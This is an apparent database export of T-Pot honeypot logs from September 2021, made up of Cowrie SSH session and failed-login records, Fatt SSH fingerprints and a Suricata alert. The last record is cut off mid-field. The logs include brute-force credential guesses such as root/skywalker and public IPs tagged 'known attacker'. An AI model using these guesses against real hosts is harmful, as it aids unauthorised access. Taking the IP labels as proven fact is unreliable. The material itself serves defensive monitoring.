24401	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:47.941004+03	2021-09-20 14:15:08.734471+03	{"_id": "rAbkAnwBvYTbRNuE5xP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [adm/adm] failed", "session": "47f9d15d9dcb", "@version": "1", "password": "adm", "username": "adm", "timestamp": "2021-09-20T11:08:47.941004Z", "@timestamp": "2021-09-20T11:08:47.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24402	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:08:48.342175+03	2021-09-20 14:15:08.747471+03	{"_id": "rQbkAnwBvYTbRNuE5xP-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.login.failed", "message": "login attempt [trung/trung] failed", "session": "e91ee70fe43d", "@version": "1", "password": "trung", "username": "trung", "timestamp": "2021-09-20T11:08:48.342175Z", "@timestamp": "2021-09-20T11:08:48.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24403	fe80:0000:0000:0000:c2ee:fbff:fedc:38af	109.199.241.180	Suricata	2021-09-20 14:08:48.451357+03	2021-09-20 14:15:08.749472+03	{"_id": "sQbkAnwBvYTbRNuE6hNW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:08:48.432646+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:c2ee:fbff:fedc:38af", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1218202709301766, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:08:48.451357Z", "@timestamp": "2021-09-20T11:08:48.451Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
24404	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:40.836176+03	2021-09-20 14:15:08.750472+03	{"_id": "2gbkAnwBvYTbRNuEyxL-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53642, "timestamp": "2021-09-20T11:08:40.836176", "@timestamp": "2021-09-20T11:08:40.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24405	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:43.01113+03	2021-09-20 14:15:08.75147+03	{"_id": "8wbkAnwBvYTbRNuE0xLP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57824, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.011130", "@timestamp": "2021-09-20T11:08:43.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24406	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:43.011257+03	2021-09-20 14:15:08.75347+03	{"_id": "9AbkAnwBvYTbRNuE0xLP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57824, "timestamp": "2021-09-20T11:08:43.011257", "@timestamp": "2021-09-20T11:08:43.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24407	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:42.735286+03	2021-09-20 14:15:08.75447+03	{"_id": "9gbkAnwBvYTbRNuE1BJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57824 (192.168.176.2:22) [session: 8da4a9cc248f]", "session": "8da4a9cc248f", "@version": "1", "protocol": "ssh", "src_port": 57824, "dest_port": 22, "timestamp": "2021-09-20T11:08:42.735286Z", "@timestamp": "2021-09-20T11:08:42.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24408	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:42.971554+03	2021-09-20 14:15:08.75547+03	{"_id": "9wbkAnwBvYTbRNuE1BJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:38564 (192.168.176.2:22) [session: 36aa425c0db2]", "session": "36aa425c0db2", "@version": "1", "protocol": "ssh", "src_port": 38564, "dest_port": 22, "timestamp": "2021-09-20T11:08:42.971554Z", "@timestamp": "2021-09-20T11:08:42.971Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24409	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:42.994575+03	2021-09-20 14:15:08.75647+03	{"_id": "-AbkAnwBvYTbRNuE1BJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:37140 (192.168.176.2:22) [session: 85cb1bd88dfc]", "session": "85cb1bd88dfc", "@version": "1", "protocol": "ssh", "src_port": 37140, "dest_port": 22, "timestamp": "2021-09-20T11:08:42.994575Z", "@timestamp": "2021-09-20T11:08:42.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24410	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:43.0083+03	2021-09-20 14:15:08.757471+03	{"_id": "-QbkAnwBvYTbRNuE1BJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53400 (192.168.176.2:22) [session: 48353ac59578]", "session": "48353ac59578", "@version": "1", "protocol": "ssh", "src_port": 53400, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.008300Z", "@timestamp": "2021-09-20T11:08:43.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24411	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:43.128154+03	2021-09-20 14:15:08.758471+03	{"_id": "-gbkAnwBvYTbRNuE1BJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:50638 (192.168.176.2:22) [session: ef4e7b658f71]", "session": "ef4e7b658f71", "@version": "1", "protocol": "ssh", "src_port": 50638, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.128154Z", "@timestamp": "2021-09-20T11:08:43.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24412	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:43.171194+03	2021-09-20 14:15:08.76047+03	{"_id": "-wbkAnwBvYTbRNuE1BJu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57244 (192.168.176.2:22) [session: 739764ead67a]", "session": "739764ead67a", "@version": "1", "protocol": "ssh", "src_port": 57244, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.171194Z", "@timestamp": "2021-09-20T11:08:43.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24413	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:42.371064+03	2021-09-20 14:15:08.761469+03	{"_id": "FwbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/skywalker] failed", "session": "33246fa34203", "@version": "1", "password": "skywalker", "username": "root", "timestamp": "2021-09-20T11:08:42.371064Z", "@timestamp": "2021-09-20T11:08:42.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24414	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:42.801686+03	2021-09-20 14:15:08.762471+03	{"_id": "GAbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8da4a9cc248f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:42.801686Z", "@timestamp": "2021-09-20T11:08:42.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24415	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:42.855171+03	2021-09-20 14:15:08.76347+03	{"_id": "GQbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "690bb208186d", "@version": "1", "duration": 2.7825746536254883, "timestamp": "2021-09-20T11:08:42.855171Z", "@timestamp": "2021-09-20T11:08:42.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24416	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:42.975683+03	2021-09-20 14:15:08.764472+03	{"_id": "GgbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "36aa425c0db2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:42.975683Z", "@timestamp": "2021-09-20T11:08:42.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24417	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:42.997318+03	2021-09-20 14:15:08.76547+03	{"_id": "GwbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "85cb1bd88dfc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:42.997318Z", "@timestamp": "2021-09-20T11:08:42.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24418	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:43.011875+03	2021-09-20 14:15:08.766501+03	{"_id": "HAbkAnwBvYTbRNuE1BNu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", 